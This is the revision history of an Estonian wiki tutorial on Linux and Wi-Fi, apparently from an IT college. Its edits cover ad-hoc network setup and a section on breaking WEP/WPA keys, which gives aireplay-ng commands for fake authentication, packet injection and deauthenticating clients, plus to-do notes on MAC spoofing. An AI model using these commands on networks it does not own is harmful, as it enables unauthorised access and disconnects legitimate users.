Linux ja wifi - Revision history

Aellisso: /* Ad-Hoc võrgu seadistamine */

2010-05-19T12:30:21Z

Ad-Hoc võrgu seadistamine

← Older revision		Revision as of 15:30, 19 May 2010
Line 442:		Line 442:
	kus '''wlan0''' on wifi seade, '''kala''' on võrgu nimi ning '''9''' on kanal, millel võrk töötab.		kus '''wlan0''' on wifi seade, '''kala''' on võrgu nimi ning '''9''' on kanal, millel võrk töötab.

	Edasi on vaja seadistada kõikide arvutite IP aadressid ja võrgumaskid. Kui ühel arvutil töötab DHCP server, siis saab IP aadressi seadistada automaatselt, vastasel juhul käsitsi.		Edasi on vaja seadistada kõikide arvutite IP aadressid ja võrgumaskid. Kui ühel arvutil töötab [https://wiki.itcollege.ee/index.php/DHCP_teenus_Ubuntu_Server_s%C3%BCsteemis DHCP server], siis saab IP aadressi seadistada automaatselt, vastasel juhul käsitsi.

	Üldiselt ei ole mõtet DHCP serveriga jamada, kui seadistad võrku ajutiseks kasutamiseks. Käsitsi seadistamine on piisavalt lihtne.		Üldiselt ei ole mõtet [https://wiki.itcollege.ee/index.php/DHCP_teenus_Ubuntu_Server_s%C3%BCsteemis DHCP serveriga] jamada, kui seadistad võrku ajutiseks kasutamiseks. Käsitsi seadistamine on piisavalt lihtne.

	Käsitsi seadistamiseks kasuta ifconfig käsku:		Käsitsi seadistamiseks kasuta ifconfig käsku:
Line 460:		Line 460:

	'''!''' Kõik seadmed, mis on seadistatud ''/etc/network/interfaces failis'' , ei ole hiljem enam seadistatavad võrguhalduri rakenduse kaudu! Võrguhaldur ignoreerib neid seadmeid.		'''!''' Kõik seadmed, mis on seadistatud ''/etc/network/interfaces failis'' , ei ole hiljem enam seadistatavad võrguhalduri rakenduse kaudu! Võrguhaldur ignoreerib neid seadmeid.

			Võrgu toimise kontrollimiseks pingi käsurealt teist arvutit. Kui ping toimib siis tõenäoliselt ka ülejäänud konfigureeritud teenused. Failide ühest arvutist teise tõstmiseks on kõige lihtsam kasutada [https://wiki.itcollege.ee/index.php/Failiserveri_labor_v.2 samba teenust].

	= WEP/WPA/WPA2 turvaprotokollide murdmine =		= WEP/WPA/WPA2 turvaprotokollide murdmine =

Aellisso: /* Ad-Hoc võrgu seadistamine */

2010-05-19T12:22:55Z

Ad-Hoc võrgu seadistamine

← Older revision		Revision as of 15:22, 19 May 2010
Line 435:		Line 435:
	</pre>		</pre>

	Seejärel pane kõikidel arvutitel wifi seade ad-hoc reziimi:		Seejärel pane kõikidel arvutitel wifi seade ad-hoc reziimi samale kanalile ning samanimelisse wifi võrku:
	<pre>		<pre>
	# sudo iwconfig wlan0 mode Ad-hoc essid kala channel 9		# sudo iwconfig wlan0 mode Ad-hoc essid kala channel 9

Aellisso: /* Ad-Hoc võrgu seadistamine */

2010-05-19T12:21:54Z

Ad-Hoc võrgu seadistamine

← Older revision		Revision as of 15:21, 19 May 2010
Line 428:		Line 428:
	Ad-hoc on wifi võrk kahe arvuti vahel ilma wifi ruuterite ja AP-deta.		Ad-hoc on wifi võrk kahe arvuti vahel ilma wifi ruuterite ja AP-deta.

	Kuna kordamine on tarkuse ema, siis tuletan siinkohal meelde, et võrguhalduri teenus on vaja seisata.		Kuna kordamine on tarkuse ema, siis tuletan siinkohal meelde, et võrguhalduri teenus on vaja seisata:

			Käivita kõikidel arvutitel käsk:
	<pre>		<pre>
	# sudo service network-manager stop		# sudo service network-manager stop
	</pre>		</pre>

	Seejärel pane wifi seade ad-hoc reziimi:		Seejärel pane kõikidel arvutitel wifi seade ad-hoc reziimi:

	<pre>		<pre>
	# sudo iwconfig wlan0 mode Ad-hoc essid kala channel 9		# sudo iwconfig wlan0 mode Ad-hoc essid kala channel 9
Line 442:		Line 442:
	kus '''wlan0''' on wifi seade, '''kala''' on võrgu nimi ning '''9''' on kanal, millel võrk töötab.		kus '''wlan0''' on wifi seade, '''kala''' on võrgu nimi ning '''9''' on kanal, millel võrk töötab.

	Edasi on vaja seadistada ~~mõlema arvuti~~ IP aadressid ja võrgumaskid. Kui ühel arvutil töötab DHCP server, siis saab IP aadressi seadistada automaatselt, vastasel juhul käsitsi.		Edasi on vaja seadistada kõikide arvutite IP aadressid ja võrgumaskid. Kui ühel arvutil töötab DHCP server, siis saab IP aadressi seadistada automaatselt, vastasel juhul käsitsi.

			Üldiselt ei ole mõtet DHCP serveriga jamada, kui seadistad võrku ajutiseks kasutamiseks. Käsitsi seadistamine on piisavalt lihtne.

	Käsitsi seadistamiseks kasuta ifconfig käsku:		Käsitsi seadistamiseks kasuta ifconfig käsku:
Line 453:		Line 455:
	Kus '''wlan0''' on wifi seade, '''192.168.1.1''' on ip aadress ja '''255.255.255.0''' võrgumask.		Kus '''wlan0''' on wifi seade, '''192.168.1.1''' on ip aadress ja '''255.255.255.0''' võrgumask.

	~~Teisel arvutil või~~ arvutitel seadista ip aadressiks loomulikult mingi teine IP aadress, et ei tekiks konflikti n. 192.168.1.2, 192.168.1.3 jne.		'''!''' Teistel arvutitel seadista ip aadressiks loomulikult mingi teine IP aadress, et ei tekiks konflikti n. 192.168.1.2, 192.168.1.3 jne. Võrgumask peab jääma samaks.

	Kui soovid, et seadistus säiliks ka peale arvuti restarti, siis kirjuta IP aadress ja võrgumask faili ''/etc/network/interfaces'' . Juhendeid selle faili modifitseerimiseks leiad internetist.		'''!''' Kui soovid, et seadistus säiliks ka peale arvuti restarti, siis kirjuta IP aadress ja võrgumask faili ''/etc/network/interfaces'' . Juhendeid selle faili modifitseerimiseks leiad internetist.

	! ~~Tähelepanu - kõik~~ seadmed, mis on seadistatud ''/etc/network/interfaces failis'' , ei ole hiljem enam seadistatavad võrguhalduri rakenduse kaudu! Võrguhaldur ignoreerib neid seadmeid.		'''!''' Kõik seadmed, mis on seadistatud ''/etc/network/interfaces failis'' , ei ole hiljem enam seadistatavad võrguhalduri rakenduse kaudu! Võrguhaldur ignoreerib neid seadmeid.

	= WEP/WPA/WPA2 turvaprotokollide murdmine =		= WEP/WPA/WPA2 turvaprotokollide murdmine =

Aellisso: /* Ad-Hoc võrgu seadistamine */

2010-05-19T12:17:38Z

Ad-Hoc võrgu seadistamine

← Older revision		Revision as of 15:17, 19 May 2010
Line 447:		Line 447:
	<pre>		<pre>
	# sudo ifconfig wlan0 up		# sudo ifconfig wlan0 up
	# ifconfig wlan0 netmask 255.255.255.0 192.168.1.1		# sudo ifconfig wlan0 netmask 255.255.255.0 192.168.1.1
	</pre>		</pre>

			Esimese käsuga lülitame sisse wifi seadme, teisega konfigureerime ip aadressi ja võrgumaski.
	Kus '''wlan0''' on wifi seade, '''192.168.1.1''' on ip aadress ja '''255.255.255.0''' võrgumask.		Kus '''wlan0''' on wifi seade, '''192.168.1.1''' on ip aadress ja '''255.255.255.0''' võrgumask.

	Teisel arvutil või arvutitel seadista ip aadressiks loomulikult mingi teine IP aadress, et ei tekiks konflikti n. 192.168.1.2, 192.168.1.3 jne.		Teisel arvutil või arvutitel seadista ip aadressiks loomulikult mingi teine IP aadress, et ei tekiks konflikti n. 192.168.1.2, 192.168.1.3 jne.

	Kui soovid, et seadistus säiliks ka peale arvuti restarti, siis kirjuta ip aadress ja võrgumask faili ''/etc/network/interfaces'' . Juhendeid selle faili modifitseerimiseks leiad internetist.		Kui soovid, et seadistus säiliks ka peale arvuti restarti, siis kirjuta IP aadress ja võrgumask faili ''/etc/network/interfaces'' . Juhendeid selle faili modifitseerimiseks leiad internetist.

	! Tähelepanu - kõik seadmed, mis on seadistatud ''/etc/network/interfaces failis'' , ei ole hiljem enam seadistatavad võrguhalduri rakenduse kaudu! Võrguhaldur ignoreerib neid seadmeid.		! Tähelepanu - kõik seadmed, mis on seadistatud ''/etc/network/interfaces failis'' , ei ole hiljem enam seadistatavad võrguhalduri rakenduse kaudu! Võrguhaldur ignoreerib neid seadmeid.

Aellisso: /* Ad-Hoc võrgu seadistamine */

2010-05-18T13:05:54Z

Ad-Hoc võrgu seadistamine

@@ Line 426: / Line 426: @@
 === Ad-Hoc võrgu seadistamine ===
-Saab tehtud, kui leian teise wifi seadmega arvuti.
+Ad-hoc on wifi võrk kahe arvuti vahel ilma wifi ruuterite ja AP-deta.
 = WEP/WPA/WPA2 turvaprotokollide murdmine =

Aellisso: /* Juhendist */

2010-05-07T06:47:58Z

Juhendist

← Older revision		Revision as of 09:47, 7 May 2010
Line 781:		Line 781:

	* http://www.grape-info.com/doc/linux/config/aircrack-ng-0.6.html		* http://www.grape-info.com/doc/linux/config/aircrack-ng-0.6.html

			* http://www.aircrack-ng.org/doku.php

	Versioonide ajalugu:		Versioonide ajalugu:

Aellisso: /* Seotud klientide lahtiühendamine */

2010-05-07T06:43:45Z

Seotud klientide lahtiühendamine

← Older revision		Revision as of 09:43, 7 May 2010
Line 639:		Line 639:

	Rasvases kirjas märgitud numbrid näitavad AP ja lahtiühendatava kliendi vastuseid saadetud ''de-auth'' pakettidele. Numbrid võivad olla suurema, kui kliendi ja AP vahel toimib aktiivne liiklus.		Rasvases kirjas märgitud numbrid näitavad AP ja lahtiühendatava kliendi vastuseid saadetud ''de-auth'' pakettidele. Numbrid võivad olla suurema, kui kliendi ja AP vahel toimib aktiivne liiklus.
			Paha lugu on siis, kui lahtiühendatav klient ei ürita automaatselt tagasi ühenduda - mingit edasist liiklust ei toimu.

	=== Võtme leidmine ===		=== Võtme leidmine ===

Aellisso: /* WEP/WPA/WPA2 turvaprotokollide murdmine */

2010-05-07T06:38:44Z

WEP/WPA/WPA2 turvaprotokollide murdmine

← Older revision		Revision as of 09:38, 7 May 2010
Line 623:		Line 623:

	<varsti tuleb siia väljund>		<varsti tuleb siia väljund>

			=== Seotud klientide lahtiühendamine ===

			Kui soovid tekitada natuke liiklust ja/või kasutada ühendumiseks mingi AP-ga seotud arvuti MAC aadressi, siis võid proovida järgnevat käsku:
			<pre>
			# sudo aireplay-ng -0 1 -a 00:18:39:21:08:B2 -c C4:17:FE:2F:9B:AF mon0
			</pre>

			Kus '''00:18:39:21:08:B2''' on AP MAC, '''C4:17:FE:2F:9B:AF''' lahtiühendatava kliendi MAC ning '''mon0''' jällegi monitor režiimis olev seade. Kliendi MAC aadressi ärajätmisel ühendatakse lahti kõik seotud seadmed k.a. sinu enda oma.

			Ideaalis võiks väljund olla järgnev:

			21:49:29 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7
			21:49:31 Sending 64 directed DeAuth. STMAC: [C4:17:FE:2F:9B:AF] ['''64\|64''' ACKs]

			Rasvases kirjas märgitud numbrid näitavad AP ja lahtiühendatava kliendi vastuseid saadetud ''de-auth'' pakettidele. Numbrid võivad olla suurema, kui kliendi ja AP vahel toimib aktiivne liiklus.


	=== Võtme leidmine ===		=== Võtme leidmine ===

Aellisso: /* Puuduvad teemad ehk "to do" list */

2010-05-07T06:23:57Z

Puuduvad teemad ehk "to do" list

← Older revision		Revision as of 09:23, 7 May 2010
Line 740:		Line 740:
	* Tehase poolt määratud vaikimisi ESSID järgi WEP/WPA võtmete leidmine - n. SpeedTouchi ruuterite puhul saab seda teha [http://www.nickkusters.com/SpeedTouch.aspx siit]		* Tehase poolt määratud vaikimisi ESSID järgi WEP/WPA võtmete leidmine - n. SpeedTouchi ruuterite puhul saab seda teha [http://www.nickkusters.com/SpeedTouch.aspx siit]

	* MAC aadresside võltsimine (MAC address spoofing), ~~AP-ga seotud klientide lahtiühendamine (deauth/disaccociating)~~		* MAC aadresside võltsimine (MAC address spoofing), n. macchanger utiliidi abil.

	* Rainbow tabelite abil WPA võtmete otsimine		* Rainbow tabelite abil WPA võtmete otsimine

Aellisso: /* WEP/WPA/WPA2 turvaprotokollide murdmine */

2010-05-07T06:23:01Z

WEP/WPA/WPA2 turvaprotokollide murdmine

← Older revision		Revision as of 09:23, 7 May 2010
Line 567:		Line 567:
	00:18:39:21:08:B2 C4:17:FE:2F:9B:AF -29 0 - 1 474 1478		00:18:39:21:08:B2 C4:17:FE:2F:9B:AF -29 0 - 1 474 1478

	Olulised asjad mida jälgida, on märgitud rasvases kirjas.		Olulised asjad mida jälgida, on märgitud rasvases kirjas. Juttu tuleb neist [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#Alustame_pakettide_saatmist_.28package_injection.29 pakettide saatmise osas] .


	=== Sinu wifi seadme MAC aadressi sidumine AP-ga ===		=== Sinu wifi seadme MAC aadressi sidumine AP-ga ===

	~~ava~~ uus terminaliaken (sest IV-de kogumine peab jääma käima) ning käivita järgmine käsk:		On vajalik, et AP ei ignoreeriks sinu poolt saadetavaid pakette. Ava uus terminaliaken (sest IV-de kogumine peab jääma käima) ning käivita järgmine käsk:
	<pre>		<pre>
	# sudo aireplay-ng -1 0 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0		# sudo aireplay-ng -1 0 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0
Line 590:		Line 590:

	Selle vastu peaks aitama (kontrollimata) see, et oma wifi seadme mac aadressi asemel sisestada AP-ga seotud seadme MAC. Loomulikult tähendab see seda, et peale võtme leidmist tuleb ühenduse saamiseks oma wifi seadme MAC aadress ära muuta.		Selle vastu peaks aitama (kontrollimata) see, et oma wifi seadme mac aadressi asemel sisestada AP-ga seotud seadme MAC. Loomulikult tähendab see seda, et peale võtme leidmist tuleb ühenduse saamiseks oma wifi seadme MAC aadress ära muuta.

			Osade AP-de puhul tuleb sidumist iga natukese aja tagant korrata, selleks sobib järgmine käsk:
			<pre>
			# sudo aireplay-ng -1 6000 -o 1 -q 10 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0
			</pre>

			Kus '''6000''' on sidumise kordus intervall (6000 sekundit), '''-o 1''' on ainult ühe pakettide komplekti samaaegseks saatmiseks, '''-q 10''' saadab iga 10 sekundi tagant ''keep alive'' paketi, '''foo''' on valitud võrgu ESSID, '''00:18:39:21:08:B2''' on AP MAC, '''00:18-DE-77-12-B2''' sinu wifi seadme MAC ning '''mon0''' jällegi monitor režiimis olev seade.

			Väljund on umbes selline:

			21:43:59 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7

			21:43:59 Sending Authentication Request (Open System) [ACK]
			21:43:59 Authentication successful
			21:43:59 Sending Association Request [ACK]
			21:43:59 Association successful :-) (AID: 1)

			21:44:09 Sending keep-alive packet
			21:44:19 Sending keep-alive packet
			21:44:29 Sending keep-alive packet


	=== Alustame pakettide saatmist (package injection) ===		=== Alustame pakettide saatmist (package injection) ===
Line 598:		Line 619:
	# sudo aireplay-ng -3 -b 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0		# sudo aireplay-ng -3 -b 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0
	</pre>		</pre>

			Väljund on umbes selline:

			<varsti tuleb siia väljund>

	=== Võtme leidmine ===		=== Võtme leidmine ===